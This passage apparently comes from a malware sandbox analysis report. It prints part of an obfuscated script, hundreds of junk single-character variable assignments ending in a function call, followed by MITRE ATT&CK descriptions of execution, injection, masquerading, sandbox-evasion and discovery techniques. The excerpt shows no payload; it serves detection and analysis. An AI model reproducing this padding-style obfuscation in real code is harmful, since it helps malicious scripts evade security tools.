478	qggsgurv = "A";
479	qggsgurv = "U";
480	qggsgurv = "v";
481	qggsgurv = "K";
482	qggsgurv = "J";
483	qggsgurv = "v";
484	qggsgurv = "J";
485	qggsgurv = "Y";
486	qggsgurv = "I";
487	qggsgurv = "R";
488	qggsgurv = "z";
489	qggsgurv = "i";
490	qggsgurv = "g";
491	qggsgurv = "E";
492	qggsgurv = "Z";
493	qggsgurv = "Q";
494	qggsgurv = "u";
495	xmfszxced = "Z";
496	xmfszxced = "s";
497	xmfszxced = "t";
498	xmfszxced = "j";
499	xmfszxced = "X";
500	xmfszxced = "V";
501	xmfszxced = "w";
502	xmfszxced = "i";
503	xmfszxced = "H";
504	xmfszxced = "D";
505	xmfszxced = "g";
506	xmfszxced = "m";
507	xmfszxced = "s";
508	xmfszxced = "P";
509	xmfszxced = "u";
510	xmfszxced = "g";
511	xmfszxced = "z";
512	xmfszxced = "e";
513	xmfszxced = "S";
514	xmfszxced = "Y";
515	xmfszxced = "V";
516	xmfszxced = "o";
517	xmfszxced = "X";
518	xmfszxced = "h";
519	xmfszxced = "G";
520	xmfszxced = "x";
521	vahyj = "G";
522	vahyj = "R";
523	vahyj = "C";
524	vahyj = "A";
525	vahyj = "f";
526	vahyj = "l";
527	vahyj = "H";
528	vahyj = "H";
529	vahyj = "q";
530	vahyj = "y";
531	vahyj = "E";
532	vahyj = "J";
533	vahyj = "L";
534	vahyj = "f";
535	vahyj = "h";
536	vahyj = "B";
537	vahyj = "v";
538	vahyj = "S";
539	vahyj = "Y";
540	vahyj = "g";
541	vahyj = "s";
542	vahyj = "j";
543	vahyj = "J";
544	vahyj = "C";
545	vahyj = "c";
546	vahyj = "k";
547	vahyj = "C";
548	sdsbs = "i";
549	sdsbs = "h";
550	sdsbs = "S";
551	sdsbs = "g";
552	sdsbs = "W";
553	sdsbs = "r";
554	sdsbs = "Q";
555	sdsbs = "R";
556	sdsbs = "V";
557	sdsbs = "R";
558	sdsbs = "m";
559	sdsbs = "s";
560	sdsbs = "s";
561	sdsbs = "I";
562	sdsbs = "p";
563	sdsbs = "m";
564	sdsbs = "f";
565	sdsbs = "W";
566	sdsbs = "I";
567	sdsbs = "M";
568	sdsbs = "P";
569	sdsbs = "h";
570	sdsbs = "Y";
571	sdsbs = "v";
572	sdsbs = "d";
573	sdsbs = "f";
574	sdsbs = "m";
575	sdsbs = "F";
576	sdsbs = "h";
577	sdsbs = "e";
578	sdsbs = "O";
579	sdsbs = "x";
580	sdsbs = "Y";
581	sdsbs = "l";
582	sdsbs = "F";
583	npxryjlp = "b";
584	npxryjlp = "N";
585	npxryjlp = "m";
586	npxryjlp = "B";
587	npxryjlp = "O";
588	npxryjlp = "T";
589	npxryjlp = "q";
590	npxryjlp = "I";
591	npxryjlp = "a";
592	npxryjlp = "T";
593	npxryjlp = "u";
594	npxryjlp = "l";
595	npxryjlp = "f";
596	npxryjlp = "L";
597	npxryjlp = "W";
598	npxryjlp = "p";
599	npxryjlp = "C";
600	npxryjlp = "o";
601	npxryjlp = "c";
602	npxryjlp = "n";
603	bdidc = "E";
604	bdidc = "B";
605	bdidc = "t";
606	kceqxew = "V";
607	kceqxew = "S";
608	kceqxew = "i";
609	kceqxew = "V";
610	kceqxew = "Y";
611	kceqxew = "o";
612	kceqxew = "s";
613	kceqxew = "e";
614	kceqxew = "D";
615	kceqxew = "Q";
616	kceqxew = "v";
617	kceqxew = "F";
618	kceqxew = "y";
619	kceqxew = "l";
620	kceqxew = "S";
621	kceqxew = "n";
622	kceqxew = "h";
623	kceqxew = "\"";
624	sqtwckdg = "G";
625	sqtwckdg = "t";
626	sqtwckdg = "Z";
627	sqtwckdg = "T";
628	sqtwckdg = "x";
629	sqtwckdg = "T";
630	sqtwckdg = "i";
631	sqtwckdg = "J";
632	sqtwckdg = "h";
633	sqtwckdg = "B";
634	sqtwckdg = "j";
635	sqtwckdg = "h";
636	sqtwckdg = "t";
637	sqtwckdg = "q";
638	sqtwckdg = "P";
639	sqtwckdg = "k";
640	sqtwckdg = "V";
641	sqtwckdg = "Z";
642	sqtwckdg = "e";
643	sqtwckdg = "Q";
644	sqtwckdg = "M";
645	sqtwckdg = "i";
646	sqtwckdg = "D";
647	sqtwckdg = "n";
648	sqtwckdg = "k";
649	sqtwckdg = "a";
650	sqtwckdg = "L";
651	sqtwckdg = "A";
652	sqtwckdg = "y";
653	sqtwckdg = " ";
654	pmbogl = "K";
655	pmbogl = "f";
656	pmbogl = "F";
657	pmbogl = "s";
658	pmbogl = "c";
659	pmbogl = "N";
660	pmbogl = "T";
661	pmbogl = "A";
662	pmbogl = "n";
663	pmbogl = "z";
664	pmbogl = "r";
665	pmbogl = "W";
666	pmbogl = "q";
667	pmbogl = "F";
668	pmbogl = "J";
669	pmbogl = "q";
670	pmbogl = "X";
671	pmbogl = "U";
672	pmbogl = "x";
673	pmbogl = "j";
674	pmbogl = "l";
675	pmbogl = "J";
676	pmbogl = "r";
677	pmbogl = "Z";
678	pmbogl = "D";
679	pmbogl = "P";
680	pmbogl = "h";
681	pmbogl = "X";
682	pmbogl = "A";
683	pmbogl = "m";
684	pmbogl = "Z";
685	pmbogl = "c";
686	pmbogl = "I";
687	pmbogl = "o";
688	pmbogl = "k";
689	pmbogl = "y";
690	pmbogl = "I";
691	pmbogl = "M";
692	pmbogl = "H";
693	pmbogl = "i";
694	pmbogl = "S";
695	pmbogl = "Z";
696	pmbogl = "9";
697	vfgaja = "G";
698	vfgaja = "l";
699	vfgaja = "f";
700	vfgaja = "Q";
701	vfgaja = "k";
702	vfgaja = "G";
703	vfgaja = "s";
704	vfgaja = "A";
705	vfgaja = "f";
706	vfgaja = "d";
707	vfgaja = "g";
708	vfgaja = "h";
709	vfgaja = "O";
710	vfgaja = "J";
711	vfgaja = "n";
712	vfgaja = "B";
713	vfgaja = "X";
714	vfgaja = "O";
715	vfgaja = "P";
716	vfgaja = "l";
717	vfgaja = "G";
718	vfgaja = "C";
719	vfgaja = "Z";
720	vfgaja = "A";
721	vfgaja = "o";
722	vfgaja = "J";
723	vfgaja = "b";
724	vfgaja = "R";
725	vfgaja = "V";
726	vfgaja = "C";
727	vfgaja = "U";
728	vfgaja = "r";
729	vfgaja = "h";
730	vfgaja = "s";
731	vfgaja = "h";
732	vfgaja = "m";
733	vfgaja = "u";
734	vfgaja = "h";
735	vfgaja = "j";
736	onlxc = "q";
737	onlxc = "W";
738	onlxc = "d";
739	onlxc = "Z";
740	onlxc = "R";
741	onlxc = "W";
742	iqkwvhkh = "n";
743	iqkwvhkh = "e";
744	iqkwvhkh = "h";
745	iqkwvhkh = "z";
746	iqkwvhkh = "b";
747	qiwmnfz = "C";
748	qiwmnfz = "U";
749	qiwmnfz = "W";
750	qiwmnfz = "l";
751	qiwmnfz = "J";
752	qiwmnfz = "R";
753	qiwmnfz = "c";
754	qiwmnfz = "B";
755	qiwmnfz = "N";
756	qiwmnfz = "Z";
757	qiwmnfz = "j";
758	qiwmnfz = "r";
759	qiwmnfz = "x";
760	qiwmnfz = "W";
761	qiwmnfz = "D";
762	qiwmnfz = "j";
763	qiwmnfz = "H";
764	qiwmnfz = "c";
765	qiwmnfz = "c";
766	qiwmnfz = "W";
767	qiwmnfz = "r";
768	qiwmnfz = "D";
769	qiwmnfz = "B";
770	qiwmnfz = "f";
771	qiwmnfz = "K";
772	qiwmnfz = "z";
773	qiwmnfz = "J";
774	qiwmnfz = "N";
775	qiwmnfz = "K";
776	qiwmnfz = "L";
777	qiwmnfz = "H";
778	qiwmnfz = "s";
779	qiwmnfz = "Z";
780	qiwmnfz = "o";
781	qiwmnfz = "e";
782	qiwmnfz = "z";
783	qiwmnfz = "v";
784	qiwmnfz = "K";
785	qiwmnfz = "Y";
786	rkktve = "z";
787	rkktve = "B";
788	rkktve = "I";
789	rkktve = "m";
790	rkktve = "J";
791	rkktve = "Y";
792	rkktve = "h";
793	rkktve = "O";
794	rkktve = "v";
795	rkktve = "S";
796	rkktve = "g";
797	rkktve = "J";
798	rkktve = "F";
799	rkktve = "g";
800	rkktve = "B";
801	rkktve = "W";
802	rkktve = "r";
803	rkktve = "H";
804	rkktve = "P";
805	rkktve = "z";
806	rkktve = "t";
807	rkktve = "z";
808	rkktve = "w";
809	rkktve = "t";
810	rkktve = "U";
811	rkktve = "O";
812	rkktve = "E";
813	rkktve = "k";
814	rkktve = "K";
815	rkktve = "A";
816	rkktve = "y";
817	rkktve = "C";
818	rkktve = "k";
819	rkktve = "R";
820	rkktve = "u";
821	rkktve = "g";
822	rkktve = "d";
823	rkktve = "p";
824	rkktve = "W";
825	rkktve = "V";
826	rkktve = "q";
827	rkktve = "7";
828	vnvfnf = "N";
829	vnvfnf = "l";
830	vnvfnf = "W";
831	vnvfnf = ".";
832	vmlwl = "w";
833	vmlwl = "d";
834	kabye = "e";
835	kabye = "z";
836	kabye = "u";
837	kabye = "b";
838	kabye = "p";
839	kabye = "I";
840	kabye = "r";
841	kabye = "y";
842	kabye = "V";
843	kabye = "X";
844	kabye = "A";
845	kabye = "D";
846	kabye = "y";
847	kabye = "x";
848	kabye = "a";
849	kabye = "D";
850	kabye = "v";
851	kabye = "o";
852	kabye = "o";
853	kabye = "L";
854	kabye = "e";
855	kabye = "V";
856	kabye = "d";
857	kabye = "Q";
858	kabye = "z";
859	kabye = "l";
860	kabye = "n";
861	kabye = "e";
862	kabye = "U";
863	kabye = "T";
864	kabye = "o";
865	kabye = "h";
866	kabye = "E";
867	kabye = "V";
868	kabye = "M";
869	kabye = "Y";
870	kabye = "8";
871	vkqbsis = "C";
872	vkqbsis = "L";
873	vkqbsis = "l";
874	vkqbsis = "p";
875	vkqbsis = "h";
876	vkqbsis = "R";
877	vkqbsis = "C";
878	vkqbsis = "j";
879	vkqbsis = "O";
880	vkqbsis = "n";
881	vkqbsis = "s";
882	vkqbsis = "s";
883	vkqbsis = "w";
884	vkqbsis = "c";
885	vkqbsis = "S";
886	vkqbsis = "e";
887	vkqbsis = "c";
888	vkqbsis = "5";
889	misja = "f";
890	misja = "n";
891	misja = "y";
892	misja = "Z";
893	misja = "G";
894	misja = "I";
895	mgdos = "Y";
896	mgdos = "A";
897	mgdos = "O";
898	mgdos = "c";
899	mgdos = "u";
900	mgdos = "j";
901	mgdos = "s";
902	mgdos = "q";
903	mgdos = "c";
904	mgdos = "t";
905	mgdos = "\\";
906	skgqazou = "D";
907	skgqazou = "b";
908	skgqazou = "m";
909	skgqazou = "P";
910	skgqazou = "W";
911	skgqazou = "J";
912	skgqazou = "r";
913	skgqazou = "u";
914	skgqazou = "m";
915	skgqazou = "s";
916	skgqazou = "&";
917	ybntitqz = "n";
918	ybntitqz = "v";
919	ybntitqz = "Q";
920	ybntitqz = "f";
921	ybntitqz = "a";
922	ybntitqz = "e";
923	ybntitqz = "z";
924	ybntitqz = "J";
925	ybntitqz = "l";
926	ybntitqz = "i";
927	ybntitqz = "n";
928	ybntitqz = "S";
929	ybntitqz = "S";
930	ybntitqz = "s";
931	ybntitqz = "h";
932	ybntitqz = "R";
933	ybntitqz = "Y";
934	ybntitqz = "A";
935	ybntitqz = "h";
936	ybntitqz = "z";
937	ybntitqz = "w";
938	igtzzbjr = "H";
939	igtzzbjr = "K";
940	igtzzbjr = "h";
941	igtzzbjr = "s";
942	igtzzbjr = "Z";
943	igtzzbjr = "Z";
944	igtzzbjr = "Y";
945	igtzzbjr = "W";
946	igtzzbjr = "j";
947	igtzzbjr = "h";
948	igtzzbjr = "H";
949	igtzzbjr = "a";
950	zwgpi = "l";
951	zwgpi = "w";
952	zwgpi = "N";
953	zwgpi = "N";
954	bvgcye = "Q";
955	bvgcye = "y";
956	bvgcye = "Y";
957	bvgcye = "r";
958	bvgcye = "U";
959	bvgcye = "H";
960	bvgcye = "B";
961	bvgcye = "B";
962	bvgcye = "e";
963	bvgcye = "g";
964	bvgcye = "C";
965	bvgcye = "i";
966	bvgcye = "W";
967	bvgcye = "L";
968	bvgcye = "y";
969	bvgcye = "N";
970	bvgcye = "r";
971	bvgcye = "A";
972	bvgcye = "T";
973	bvgcye = "x";
974	bvgcye = "T";
975	bvgcye = "J";
976	bvgcye = "e";
977	bvgcye = "U";
978	bvgcye = "Z";
979	bvgcye = "h";
980	bvgcye = "I";
981	bvgcye = "c";
982	bvgcye = "K";
983	bvgcye = "g";
984	bvgcye = "m";
985	bvgcye = "z";
986	bvgcye = "c";
987	bvgcye = "i";
988	bvgcye = "q";
989	bvgcye = "3";
990	crvgoljbu = "K";
991	crvgoljbu = "v";
992	crvgoljbu = "w";
993	crvgoljbu = "z";
994	crvgoljbu = "h";
995	crvgoljbu = "q";
996	crvgoljbu = "C";
997	crvgoljbu = "V";
998	crvgoljbu = "r";
999	crvgoljbu = "J";
1000	crvgoljbu = "s";
1001	crvgoljbu = "R";
1002	crvgoljbu = "M";
1003	crvgoljbu = "e";
1004	crvgoljbu = "q";
1005	crvgoljbu = "Y";
1006	crvgoljbu = "t";
1007	crvgoljbu = "G";
1008	crvgoljbu = "X";
1009	crvgoljbu = "e";
1010	crvgoljbu = "H";
1011	crvgoljbu = "G";
1012	crvgoljbu = "U";
1013	crvgoljbu = "B";
1014	crvgoljbu = "B";
1015	crvgoljbu = "N";
1016	crvgoljbu = "@";
1017	capyodcja = "k";
1018	capyodcja = "G";
1019	capyodcja = "L";
1020	capyodcja = "y";
1021	capyodcja = "b";
1022	capyodcja = "U";
1023	capyodcja = "O";
1024	capyodcja = "Z";
1025	capyodcja = "X";
1026	capyodcja = "l";
1027	capyodcja = "e";
1028	capyodcja = "J";
1029	capyodcja = "l";
1030	capyodcja = "j";
1031	capyodcja = "y";
1032	capyodcja = "c";
1033	capyodcja = "g";
1034	capyodcja = "d";
1035	capyodcja = "U";
1036	capyodcja = "p";
1037	capyodcja = "e";
1038	capyodcja = "u";
1039	capyodcja = "c";
1040	capyodcja = "n";
1041	capyodcja = "O";
1042	capyodcja = "D";
1043	capyodcja = "n";
1044	capyodcja = "x";
1045	capyodcja = "v";
1046	capyodcja = "O";
1047	capyodcja = "p";
1048	capyodcja = "m";
1049	capyodcja = "j";
1050	capyodcja = "U";
1051	capyodcja = "z";
1052	capyodcja = "g";
1053	xhjup = "g";
1054	xhjup = "D";
1055	xhjup = "U";
1056	xhjup = "F";
1057	xhjup = "V";
1058	xhjup = "f";
1059	xhjup = "P";
1060	xhjup = "W";
1061	xhjup = "G";
1062	xhjup = "G";
1063	xhjup = "v";
1064	xhjup = "d";
1065	xhjup = "x";
1066	xhjup = "d";
1067	xhjup = "Q";
1068	xhjup = "P";
1069	xhjup = "Z";
1070	xhjup = "E";
1071	xhjup = "E";
1072	xhjup = "h";
1073	xhjup = "h";
1074	xhjup = "Z";
1075	xhjup = "V";
1076	xhjup = "S";
1077	xhjup = "g";
1078	xhjup = "Z";
1079	xhjup = "q";
1080	xhjup = "C";
1081	xhjup = "o";
1082	xhjup = "V";
1083	xhjup = "O";
1084	zuvkcd = "E";
1085	zuvkcd = "E";
1086	kjozqo = "u";
1087	kjozqo = "P";
1088	kjozqo = "d";
1089	kjozqo = "s";
1090	kjozqo = "M";
1091	kjozqo = "x";
1092	kjozqo = "2";
1093	tyixrxcd = "m";
1094	tyixrxcd = "L";
1095	tyixrxcd = "a";
1096	tyixrxcd = "e";
1097	tyixrxcd = "d";
1098	tyixrxcd = "T";
1099	tyixrxcd = "w";
1100	tyixrxcd = "v";
1101	tyixrxcd = "s";
1102	tyixrxcd = "s";
1103	tyixrxcd = "O";
1104	tyixrxcd = "f";
1105	tyixrxcd = "K";
1106	tyixrxcd = "L";
1107	tyixrxcd = "s";
1108	tyixrxcd = "q";
1109	tyixrxcd = "W";
1110	tyixrxcd = "H";
1111	tyixrxcd = "n";
1112	tyixrxcd = "b";
1113	tyixrxcd = "c";
1114	tyixrxcd = "M";
1115	tyixrxcd = "i";
1116	tyixrxcd = "R";
1117	tyixrxcd = "k";
1118	tyixrxcd = "N";
1119	tyixrxcd = "f";
1120	tyixrxcd = "y";
1121	tyixrxcd = "s";
1122	tyixrxcd = "w";
1123	tyixrxcd = "S";
1124	tyixrxcd = "M";
1125	tyixrxcd = "G";
1126	tyixrxcd = "b";
1127	tyixrxcd = "J";
1128	tyixrxcd = "u";
1129	tyixrxcd = "N";
1130	tyixrxcd = "O";
1131	tyixrxcd = "i";
1132	tyixrxcd = "n";
1133	tyixrxcd = "q";
1134	tyixrxcd = "j";
1135	tyixrxcd = "O";
1136	tyixrxcd = "r";
1137	bzfbiglya = "s";
1138	bzfbiglya = "N";
1139	bzfbiglya = "d";
1140	bzfbiglya = "t";
1141	bzfbiglya = "D";
1142	bzfbiglya = "M";
1143	bzfbiglya = "i";
1144	bxwjqrxl = "P";
1145	bxwjqrxl = "W";
1146	bxwjqrxl = "o";
1147	bxwjqrxl = "x";
1148	bxwjqrxl = "j";
1149	bxwjqrxl = "N";
1150	bxwjqrxl = "B";
1151	bxwjqrxl = "Q";
1152	bxwjqrxl = "c";
1153	bxwjqrxl = "v";
1154	bxwjqrxl = "d";
1155	bxwjqrxl = "o";
1156	bxwjqrxl = "r";
1157	bxwjqrxl = "L";
1158	bxwjqrxl = "b";
1159	bxwjqrxl = "A";
1160	bxwjqrxl = "o";
1161	bxwjqrxl = "J";
1162	bxwjqrxl = "z";
1163	bxwjqrxl = "q";
1164	bxwjqrxl = "L";
1165	bxwjqrxl = "F";
1166	bxwjqrxl = "g";
1167	bxwjqrxl = "k";
1168	bxwjqrxl = "e";
1169	bxwjqrxl = "f";
1170	bxwjqrxl = "_";
1171	xznkpod = "f";
1172	xznkpod = "K";
1173	xznkpod = "g";
1174	xznkpod = "m";
1175	xznkpod = "b";
1176	xznkpod = "m";
1177	xznkpod = "R";
1178	xznkpod = "X";
1179	xznkpod = "N";
1180	xznkpod = "A";
1181	xznkpod = "z";
1182	xznkpod = "G";
1183	xznkpod = "m";
1184	xznkpod = "C";
1185	xznkpod = "G";
1186	xznkpod = "x";
1187	xznkpod = "e";
1188	xznkpod = "C";
1189	xznkpod = "L";
1190	xznkpod = "M";
1191	xznkpod = "r";
1192	xznkpod = "b";
1193	xznkpod = "m";
1194	xznkpod = "k";
1195	xznkpod = "n";
1196	xznkpod = "B";
1197	xznkpod = "m";
1198	icekm = "V";
1199	icekm = "o";
1200	icekm = "J";
1201	icekm = "u";
1202	icekm = "C";
1203	icekm = "Q";
1204	icekm = "S";
1205	icekm = "y";
1206	icekm = "E";
1207	icekm = "t";
1208	icekm = "K";
1209	icekm = "E";
1210	icekm = "b";
1211	icekm = "z";
1212	icekm = "J";
1213	icekm = "g";
1214	icekm = "Z";
1215	icekm = "k";
1216	icekm = "c";
1217	icekm = "h";
1218	icekm = "A";
1219	icekm = "J";
1220	icekm = "B";
1221	icekm = "j";
1222	icekm = "Z";
1223	icekm = "X";
1224	icekm = "M";
1225	icekm = "i";
1226	icekm = "P";
1227	icekm = "S";
1228	icekm = "c";
1229	icekm = "E";
1230	icekm = "/";
1231	ieeprcha = "N";
1232	ieeprcha = "W";
1233	ieeprcha = "t";
1234	ieeprcha = "z";
1235	ieeprcha = "z";
1236	ieeprcha = "w";
1237	ieeprcha = "N";
1238	ieeprcha = "T";
1239	ieeprcha = "Q";
1240	ieeprcha = "F";
1241	ieeprcha = "q";
1242	ieeprcha = "L";
1243	ieeprcha = "J";
1244	ieeprcha = "n";
1245	ieeprcha = "x";
1246	ieeprcha = "J";
1247	ieeprcha = "Z";
1248	ieeprcha = "G";
1249	ieeprcha = "e";
1250	ieeprcha = "I";
1251	ieeprcha = "K";
1252	ieeprcha = "S";
1253	ieeprcha = "Q";
1254	ieeprcha = "n";
1255	ieeprcha = "v";
1256	xkrnrgrfo = "o";
1257	xkrnrgrfo = "N";
1258	xkrnrgrfo = "g";
1259	xkrnrgrfo = "L";
1260	vkpeebur = "c";
1261	vkpeebur = "z";
1262	vkpeebur = "z";
1263	vkpeebur = "V";
1264	vkpeebur = "T";
1265	vkpeebur = "L";
1266	vkpeebur = "k";
1267	vkpeebur = "G";
1268	vkpeebur = "s";
1269	vkpeebur = "U";
1270	vkpeebur = "h";
1271	vkpeebur = "U";
1272	vkpeebur = "G";
1273	vkpeebur = "d";
1274	vkpeebur = "I";
1275	vkpeebur = "a";
1276	vkpeebur = "D";
1277	vkpeebur = "u";
1278	vkpeebur = "n";
1279	vkpeebur = "O";
1280	vkpeebur = "V";
1281	vkpeebur = "w";
1282	vkpeebur = "J";
1283	vkpeebur = "e";
1284	vkpeebur = "A";
1285	vkpeebur = "L";
1286	vkpeebur = "O";
1287	vkpeebur = "c";
1288	vkpeebur = "Y";
1289	vkpeebur = "d";
1290	vkpeebur = "q";
1291	vkpeebur = "R";
1292	vkpeebur = "x";
1293	vkpeebur = "m";
1294	vkpeebur = "v";
1295	vkpeebur = "b";
1296	vkpeebur = "R";
1297	vkpeebur = "x";
1298	vkpeebur = "F";
1299	vkpeebur = "t";
1300	vkpeebur = "x";
1301	vkpeebur = "R";
1302	pvprprm = "g";
1303	pvprprm = "F";
1304	pvprprm = "D";
1305	pvprprm = "Y";
1306	pvprprm = "L";
1307	pvprprm = "f";
1308	pvprprm = "f";
1309	pvprprm = "s";
1310	pvprprm = "z";
1311	pvprprm = "y";
1312	pvprprm = "W";
1313	pvprprm = "B";
1314	pvprprm = "d";
1315	pvprprm = "Q";
1316	pvprprm = "s";
1317	pvprprm = "K";
1318	pvprprm = "l";
1319	pvprprm = "l";
1320	pvprprm = "P";
1321	pvprprm = "O";
1322	pvprprm = "X";
1323	pvprprm = "h";
1324	pvprprm = "D";
1325	pvprprm = "E";
1326	pvprprm = "W";
1327	pvprprm = "J";
1328	pvprprm = "I";
1329	pvprprm = "K";
1330	sylrf = "w";
1331	sylrf = "H";
1332	sylrf = "B";
1333	sylrf = "q";
1334	sylrf = "x";
1335	sylrf = "y";
1336	sylrf = "g";
1337	sylrf = "Z";
1338	sylrf = "u";
1339	sylrf = "X";
1340	sylrf = "x";
1341	sylrf = "R";
1342	sylrf = "C";
1343	sylrf = "C";
1344	sylrf = "l";
1345	sylrf = "D";
1346	sylrf = "V";
1347	sylrf = "E";
1348	sylrf = "e";
1349	sylrf = "P";
1350	sylrf = "q";
1351	sylrf = "e";
1352	sylrf = "O";
1353	sylrf = "n";
1354	sylrf = "e";
1355	sylrf = "Q";
1356	sylrf = "Q";
1357	sylrf = "I";
1358	sylrf = "A";
1359	sylrf = "N";
1360	sylrf = "c";
1361	hntgqxn ( );	hntgqxn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
